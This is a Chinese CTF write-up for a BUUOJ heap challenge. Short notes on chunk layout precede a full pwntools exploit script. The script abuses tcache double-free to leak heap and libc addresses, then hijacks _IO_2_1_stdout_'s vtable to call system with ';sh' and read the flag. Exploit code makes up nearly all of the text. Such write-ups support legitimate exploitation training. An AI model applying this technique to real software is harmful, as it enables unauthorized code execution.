hook动态刷新,本以为不难,将free_hook改为system再free后发现没了。搜到exp才第一次知道动态刷新。
只能建0x24, 结构:+0:4字节score, +0x18:7字节name, +0x20:4字节id(相当于索引,通过id查)
解题思路:
测试结果:
from pwn import *
elf = ELF('./pwn')
context.arch = 'amd64'
def connect(local=1):
global p
if local == 1:
p = process('./pwn')
else:
p = remote('node4.buuoj.cn', 27672)
libc_elf = ELF('/home/shi/libc6_2.27-3ubuntu1/lib/x86_64-linux-gnu/libc-2.27.so')
one = [0x4f2c1,0x4f322,0x10a38c]
libc_start_main_ret = 0x21b97
context(arch='amd64')
menu = b"choice:"
def add(idx, name, score):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"student's id:", str(idx).encode())
p.sendlineafter(b"student's name:", name)
p.sendlineafter(b"student's score:", str(score).encode())
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"student's id:", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"student's id:", str(idx).encode())
def pwn():
context.log_level = 'debug'
for i in range(10):
add(i, b'A', 0x21)
free(0)
free(1)
show(1)
p.recvuntil(b'score:')
heap_addr = int(p.recvline()) - 0x13290
print('head:', heap_addr)
free(1)
add(18, b'A', heap_addr + 0x18)
add(19, b'A', 0x21)
add(20, b'A', 0xffff) #tcache 0xb0 cnt=0xff
free(2)
free(3)
free(3)
add(21, b'A', heap_addr + 0x13298)
add(22, b'A', 0x21)
add(23, b'A', 0xb1) #score = 0xb1
free(4)
free(5)
free(5)
add(24, b'A', heap_addr + 0x132a0)
add(25, b'A', 0x21)
add(26, b'A', 0)
free(26)
show(0x41)
p.recvuntil(b'name:')
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
one_gadget= libc_base + one[2]
print('libc:', hex(libc_base))
#ubuntu18 libc-2.27 hook动态刷新,劫持 _IO_2_1_stdout_
free(6)
free(6)
free(7)
free(7)
add(27, b'A', heap_addr + 0x40)
add(28, b'A', 0)
add(29, p64(libc_elf.sym['_IO_2_1_stdout_']+ 0xd0)[:-1], 0)
add(30, p64(libc_elf.sym['system'])[:-1], 0) #_IO_2_1_stdout_+0xe8 = system
free(8)
free(8)
free(9)
free(9)
add(31, b'A', heap_addr + 0x40)
add(32, b'A', 0)
add(33, p64(libc_elf.sym['_IO_2_1_stdout_']+ 0xd8)[:-1], 0)
fake_vtable = (libc_elf.sym['_IO_file_jumps'] + 0x98) & 0xffffffff
print('fake:', hex(fake_vtable))
add(0,b"';sh", (fake_vtable-0x100000000)) #_IO_2_1_stdout_+0xf0 = ';sh _IO_2_1_stdout_+0xd0 = _IO_file_jumps+0x98
p.recv()
sleep(0.2)
p.sendline(b'cat /flag')
p.interactive()
connect(1)
pwn()